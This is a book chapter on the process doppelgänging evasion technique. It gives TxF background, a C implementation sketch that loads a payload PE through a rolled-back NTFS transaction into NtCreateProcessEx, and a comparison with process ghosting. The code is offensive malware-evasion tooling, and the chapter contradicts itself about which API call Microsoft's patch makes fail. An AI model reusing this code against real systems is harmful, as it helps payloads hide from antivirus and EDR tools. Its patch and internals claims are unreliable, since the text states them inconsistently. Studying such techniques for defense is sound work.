Chapter 34

Process Doppelgänging

Process doppelgänging (presented at Black Hat Europe 2017 by enSilo researchers) exploits the Windows Transactional File System (TxF) to create a process from a file that "doesn't exist" from the filesystem's perspective. The trick: write a malicious executable to a NTFS transaction, create a process from the transacted file, then roll back the transaction. Windows creates a valid process with its image mapped from the now-nonexistent transacted file. AV and EDRs scanning the process see it as running from a legitimate path because the kernel's process image record still points to the transaction. The underlying file on disk was never committed — only existing during the transaction. This chapter explains TxF internals, implements doppelgänging, and examines why it was effectively patched in Windows 10 RS3+.

Windows Transactional NTFS — TxF Background

NTFS transactions — how they work
  NTFS Transactional File System (TxF):
  ─────────────────────────────────────────────────────────────────────────
  TxF allows file operations to be wrapped in a transaction:
    - The changes appear committed to code within the transaction
    - Other processes outside the transaction see the ORIGINAL state
    - The transaction can be committed (changes become permanent)
    - Or rolled back (changes are discarded — as if they never happened)
  
  This is Windows' "database-like" atomicity for file operations.
  
  Example:
    // Begin transaction
    hTransaction = CreateTransaction(...)
    
    // Within the transaction: write malicious.exe to notepad.exe's path
    hFile = CreateFileTransactedA("C:\\notepad.exe", WRITE, ..., hTransaction, ...)
    WriteFile(hFile, malicious_pe_bytes, ...)   ← changes visible inside transaction
    CloseHandle(hFile)
    
    // Other processes: "C:\\notepad.exe" is UNCHANGED (they see original notepad)
    // Inside the transaction: "C:\\notepad.exe" IS malicious.exe
    
    // Create section from the transacted file (still inside transaction):
    NtCreateSection(... hFile ...)
    
    // Roll back the transaction:
    RollbackTransaction(hTransaction)
    // "C:\\notepad.exe" is now the ORIGINAL notepad again — malicious bytes gone
    
    // But the Section still exists! The section was created from the
    // transacted file object, which is still referenced by the section handle.
    // The file data is in the section's backing store even though the
    // transaction was rolled back.
  
  Process Doppelgänging exploits this:
    1. Write malicious PE to a transacted file
    2. Create NtCreateSection(SEC_IMAGE) from the transacted file handle
    3. Roll back transaction (file changes disappear from disk)
    4. Create process from the section (NtCreateProcessEx)
    5. Create thread in the process (NtCreateThreadEx)
    → Process runs malicious PE but file system shows the original file

Implementation Overview

/* process_doppel.c — Process Doppelgänging implementation overview
   
   NOTE: Full doppelgänging requires NtCreateProcessEx and manual
   process setup that's more complex than previous techniques.
   This chapter shows the key steps with the critical TxF component.
   
   STATUS: Partially patched in Windows 10 RS3 (1709) and RS4 (1803).
   Microsoft fixed TxF handling in the memory manager to prevent
   creating an image section from a transacted file that was subsequently
   rolled back. On patched systems, step 4 fails with STATUS_TRANSACTION_NOT_ACTIVE.
   
   Doppelgänging is effectively dead for modern targets (Win10 1803+)
   but understanding it is important as the precursor to Process Ghosting (Ch35).
*/

#include <windows.h>
#include <stdio.h>

/* Kernel transaction functions — in KtmW32.dll */
typedef HANDLE (WINAPI *pCreateTransaction)(
    LPSECURITY_ATTRIBUTES, LPGUID, DWORD, DWORD, DWORD, DWORD, LPWSTR);
typedef BOOL (WINAPI *pRollbackTransaction)(HANDLE);

/* NT APIs */
typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *pNtCreateSection)(
    PHANDLE, ACCESS_MASK, PVOID, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
typedef NTSTATUS (NTAPI *pNtCreateProcessEx)(
    PHANDLE, ACCESS_MASK, PVOID, HANDLE, ULONG, HANDLE, HANDLE, HANDLE, ULONG);

static void doppelganger_sketch(const char *target_path, PBYTE payload, DWORD payload_size) {
    /* Load KtmW32.dll for transaction functions */
    HMODULE hKtm = LoadLibraryA("KtmW32.dll");
    pCreateTransaction  CreateTransaction  = (pCreateTransaction)GetProcAddress(hKtm, "CreateTransaction");
    pRollbackTransaction RollbackTransaction = (pRollbackTransaction)GetProcAddress(hKtm, "RollbackTransaction");

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtCreateSection  NtCreateSection  = (pNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
    pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");

    /* Step 1: Create a filesystem transaction */
    HANDLE hTx = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    printf("[+] Transaction created: %p\n", hTx);

    /* Step 2: Open/create target file WITHIN the transaction */
    HANDLE hFile = CreateFileTransactedA(
        target_path,
        GENERIC_WRITE | GENERIC_READ,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTx,    /* ← this is the key — all operations go through the transaction */
        NULL, NULL
    );
    printf("[+] Transacted file opened: %p\n", hFile);

    /* Step 3: Write the malicious payload to the transacted file
       Within the transaction: file = malicious PE
       Outside the transaction (other processes): file = original content
    */
    DWORD written = 0;
    WriteFile(hFile, payload, payload_size, &written, NULL);
    printf("[+] Payload written (%lu bytes) to transacted file\n", written);

    /* Step 4: Create an IMAGE section from the transacted file
       SEC_IMAGE causes Windows to treat the file as a PE executable image.
       The section maps the PE's sections according to PE headers.
       This section now "backs" the malicious PE content.
    */
    HANDLE hSection = NULL;
    NTSTATUS status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL,
        NULL,
        PAGE_READONLY,
        0x1000000,  /* SEC_IMAGE */
        hFile       /* the transacted file handle */
    );
    printf("[+] Section from transacted file: 0x%08lX handle: %p\n", status, hSection);
    CloseHandle(hFile);  /* file handle no longer needed — section holds reference */

    /* Step 5: Roll back the transaction
       The file changes are discarded — on disk, the original file is restored.
       But hSection still exists and still references the malicious PE content
       (before the patch: the section backing is decoupled from the transaction).
    */
    RollbackTransaction(hTx);
    CloseHandle(hTx);
    printf("[+] Transaction rolled back — malicious file 'doesn't exist' on disk\n");

    /* Step 6: Create a process from the section
       NtCreateProcessEx with the section handle instead of a file path.
       This creates a process whose image comes from our malicious section.
       The process's image path (as seen by EDRs) is the target_path — legitimate.
    */
    HANDLE hProc = NULL;
    status = NtCreateProcessEx(
        &hProc,
        PROCESS_ALL_ACCESS,
        NULL,
        GetCurrentProcess(),  /* inherit from parent */
        0x4,                  /* PS_INHERIT_HANDLES */
        hSection,             /* the backing section — malicious PE content */
        NULL, NULL, 0
    );
    printf("[+] Process from section: 0x%08lX (on Win10 RS3+: STATUS_TRANSACTION_NOT_ACTIVE)\n",
           status);
    
    /* On patched Windows (10 1709+):
       NtCreateSection with SEC_IMAGE from a rolled-back transacted file fails.
       The OS detects the transaction rollback and denies the section creation.
       Process Ghosting (Ch35) solves this without using transactions at all.
    */
    CloseHandle(hSection);
    if (hProc) CloseHandle(hProc);
}

/*
 * WHY doppelgänging was powerful (pre-patch):
 * ─────────────────────────────────────────────────────────────────────────
 * Antivirus file scanning: AV scans the file at target_path → sees original file
 * Process memory scanning: scans in-memory image → sees malicious PE (already loaded)
 * Process Explorer / EDR image path: shows target_path (the legitimate path)
 *   but the code running is the payload.
 * 
 * It was a near-perfect impersonation: process LOOKS like it came from a
 * legitimate file, but runs completely different code.
 *
 * Windows response:
 * Microsoft patched NtCreateSection (and the memory manager's handling of
 * image sections from transacted files) in Windows 10 RS3 (1709).
 * On patched systems, creating an image section from a TxF file that has been
 * rolled back returns STATUS_TRANSACTION_NOT_ACTIVE.
 */

Doppelgänging vs Process Ghosting — What Changed

Doppelgänging limitations and how Ghosting addresses them
  PROCESS DOPPELGÄNGING (2017):
  ─────────────────────────────────────────────────────────────────────────
  Technique: Write malicious PE to TxF transacted file → NtCreateSection(SEC_IMAGE)
             → RollbackTransaction → NtCreateProcessEx
  Exploit: Section keeps reference to TxF file content after rollback
  Patch: Windows 10 RS3 (1709) fixed NtCreateSection to check transaction state
  Status: DEAD on modern Windows (2017+)
  
  PROCESS GHOSTING (2021, Ch35):
  ─────────────────────────────────────────────────────────────────────────
  Technique: Write malicious PE to a file → NtCreateSection(SEC_IMAGE) → 
             NtSetInformationFile(FileDispositionInformation) to mark for deletion
             → Close file (triggers deletion) → NtCreateProcessEx from section
  Exploit: Section still valid after backing file is deleted (section holds
           a reference that keeps the file's inode data alive in kernel memory)
  Patch: Partially mitigated in Windows 11 (NtCreateProcessEx checks file deletion state)
  Status: Patched on Windows 11 22H2+, still works on older Win10 and Win11 builds
  
  Common thread:
  Both techniques exploit the fact that NT objects (sections, file objects)
  can outlive the entity that created them (transactions, files on disk).
  Windows kernel objects are reference-counted — as long as one handle or
  internal reference exists, the object's data persists even if the visible
  artifact (file, transaction) is gone.

Questions & Answers

What is Windows Transactional File System (TxF) and why was it deprecated?

TxF is a Windows Vista feature that added ACID (Atomicity, Consistency, Isolation, Durability) transaction support to NTFS file operations via the Kernel Transaction Manager (KTM). The idea was to allow applications to make multiple file changes atomically — either all succeed or all are rolled back. Microsoft deprecated TxF in Windows 8 (2012) with this recommendation: "Microsoft strongly recommends developers utilize alternative means to achieve your application's needs... Do not use TxF for new development." The reasons for deprecation include: complex semantics that led to subtle bugs, poor integration with distributed transaction coordinators, deadlock potential, and overall low adoption. Despite being deprecated, TxF remained functional because removing it would break compatibility. Process doppelgänging's discovery in 2017 demonstrated that deprecated Windows features can become attack surfaces — the "deprecated" label doesn't mean "removed," and an obscure feature working in unexpected ways can create serious security holes.

How did Microsoft patch doppelgänging without breaking legitimate TxF usage?

Microsoft's patch targeted specifically the interaction between TxF and image sections (SEC_IMAGE). The fix was added to the memory manager's NtCreateSection code path: when creating a SEC_IMAGE section from a file handle, Windows now checks whether the file is part of an active transaction. If it is, and if the transaction is subsequently rolled back before the section's backing is established, the section is invalidated. This specifically blocks the doppelgänging sequence (create section inside transaction, roll back transaction, use section for process creation) without affecting legitimate TxF file reads and writes. Other TxF operations (transacted CreateFile, ReadFile, WriteFile, DeleteFile) were not changed. The fix was surgical but effective against the known technique.